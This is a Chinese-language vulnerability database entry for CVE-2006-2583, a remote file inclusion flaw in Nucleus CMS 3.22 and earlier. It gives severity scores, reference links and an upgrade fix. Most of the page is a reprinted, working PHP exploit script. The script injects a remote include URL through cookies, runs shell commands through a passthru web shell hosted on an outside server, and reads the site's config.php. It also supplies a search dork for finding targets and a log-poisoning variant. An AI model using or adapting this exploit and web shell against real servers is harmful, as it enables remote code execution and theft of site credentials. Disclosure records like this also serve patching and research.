CVE-2006-2583
CVSS5.1
发布时间 :2006-05-25 06:02:00
修订时间 :2011-03-07 21:36:32
NMCOE    

[原文]PHP remote file inclusion vulnerability in nucleus/libs/PLUGINADMIN.php in Nucleus 3.22 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[DIR_LIBS] parameter.


[CNNVD]Nucleus nucleus/libs/PLUGINADMIN.php PHP远程文件包含漏洞(CNNVD-200605-472)

        Nucleus 3.22 及更早版本的nucleus/libs/PLUGINADMIN.php中存在PHP远程文件包含漏洞,远程攻击者可通过GLOBALS[DIR_LIBS]参数中的URL执行任意PHP代码。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2583
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2583
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-472
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/20219
(VENDOR_ADVISORY)  SECUNIA  20219
http://www.vupen.com/english/advisories/2006/1936
(UNKNOWN)  VUPEN  ADV-2006-1936
http://www.securityfocus.com/archive/1/archive/1/434837/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060523 Nucleus CMS <= 3.22 arbitrary remote inclusion
http://www.nucleuscms.org/item/3038
(UNKNOWN)  CONFIRM  http://www.nucleuscms.org/item/3038
http://retrogod.altervista.org/nucleus_322_incl_xpl.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/nucleus_322_incl_xpl.html
http://forum.nucleuscms.org/viewtopic.php?t=12304
(UNKNOWN)  CONFIRM  http://forum.nucleuscms.org/viewtopic.php?t=12304
http://xforce.iss.net/xforce/xfdb/26606
(UNKNOWN)  XF  nucleus-dirlibs-file-include(26606)
http://www.securityfocus.com/bid/18097
(UNKNOWN)  BID  18097
http://www.osvdb.org/25749
(UNKNOWN)  OSVDB  25749
http://securitytracker.com/id?1016146
(UNKNOWN)  SECTRACK  1016146
http://securityreason.com/securityalert/951
(UNKNOWN)  SREASON  951

- 漏洞信息

Nucleus nucleus/libs/PLUGINADMIN.php PHP远程文件包含漏洞
中危 输入验证
2006-05-25 00:00:00 2006-05-25 00:00:00
远程  
        Nucleus 3.22 及更早版本的nucleus/libs/PLUGINADMIN.php中存在PHP远程文件包含漏洞,远程攻击者可通过GLOBALS[DIR_LIBS]参数中的URL执行任意PHP代码。

- 公告与补丁

        暂无数据

- 漏洞信息 (1816)

Nucleus CMS <= 3.22 (DIR_LIBS) Arbitrary Remote Inclusion Exploit (EDBID:1816)
php webapps
2006-05-23 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Nucleus <= 3.22 arbitrary remote inclusion exploit\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "this is called the \"deadly eyes of Sun-tzu\"\r\n";
echo "dork: Copyright . Nucleus CMS v3.22 . Valid XHTML 1.0 Strict . Valid CSS . Back to top\r\n\r\n";
/*
works with:
register_globals=Om
allow_url_fopen=Om
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to Nucleus\r\n";
echo "location:  an arbitrary location with the code to include\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ cat ./../../config.php\r\n";
echo "php ".$argv[0]." localhost /nucleus/ http://somehost.com/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / http://somehost.com/ ls -la -P1.1.1.1:80\r\n\r\n";
echo "note, you need this code in http://somehost.com/ADMIN.php/index.html\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
echo "ini_set(\"max_execution_time\",0);\r\n";
echo "echo \"*delim*\";\r\n";
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
echo "echo \"*delim*\";\r\n";
echo "?>\r\n";
die;
}

/* software site: http://nucleuscms.org/

   i) vulnerable code in nucleus/libs/PLUGINADMIN.php at lines 21-49:

   ...
   global $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES, $HTTP_SESSION_VARS;
$aVarsToCheck = array('DIR_LIBS');
foreach ($aVarsToCheck as $varName)
{
	if (phpversion() >= '4.1.0')
	{
		if (   isset($_GET[$varName])
			|| isset($_POST[$varName])
			|| isset($_COOKIE[$varName])
			|| isset($_ENV[$varName])
			|| isset($_SESSION[$varName])
			|| isset($_FILES[$varName])
		){
			die('Sorry. An error occurred.');
		}
	} else {
		if (   isset($HTTP_GET_VARS[$varName])
			|| isset($HTTP_POST_VARS[$varName])
			|| isset($HTTP_COOKIE_VARS[$varName])
			|| isset($HTTP_ENV_VARS[$varName])
			|| isset($HTTP_SESSION_VARS[$varName])
			|| isset($HTTP_POST_FILES[$varName])
		){
			die('Sorry. An error occurred.');
		}
	}
}

include($DIR_LIBS . 'ADMIN.php');
...

so, if register_globals = On and allow_url_fopen = On, we have arbitrary remote inclusion, poc:

http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=http://somehost.com/&cmd=ls%20-la

where on somehost.com we have some php code in

http://somehost.com/ADMIN.php/index.html

also, if register_globals = On & magic_quotes_gpc = Off:

http://[target]/[path_to_nucleus]/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=/var/log/httpd/access_log%00&cmd=ls%20-la

									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}
$host=$argv[1];
$path=$argv[2];
$loc=urlencode($argv[3]);
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."nucleus/libs/PLUGINADMIN.php HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n";
$packet.="Host: ".$host."\r\n";
//through cookies, it's the same, maybe can bypass some ids...
$packet.="Cookie: GLOBALS[DIR_LIBS]=".$loc."; cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

if (strstr($html,"*delim*"))
{
  echo "Exploit succeeded...";
  $temp=explode("*delim*",$html);
  die("\r\n".$temp[1]."\r\n");
}
//if you are here...
echo "Exploit failed...\r\n";
?>

# milw0rm.com [2006-05-23]
		

- 漏洞信息

25749
Nucleus PLUGINADMIN.php GLOBALS[DIR_LIBS] Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

Nucleus contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to PLUGINADMIN.php not properly sanitizing user input supplied to the "GLOBALS[DIR_LIBS]" variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-05-23 Unknow
2006-05-23 Unknow

- 解决方案

Upgrade to version 3.23 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站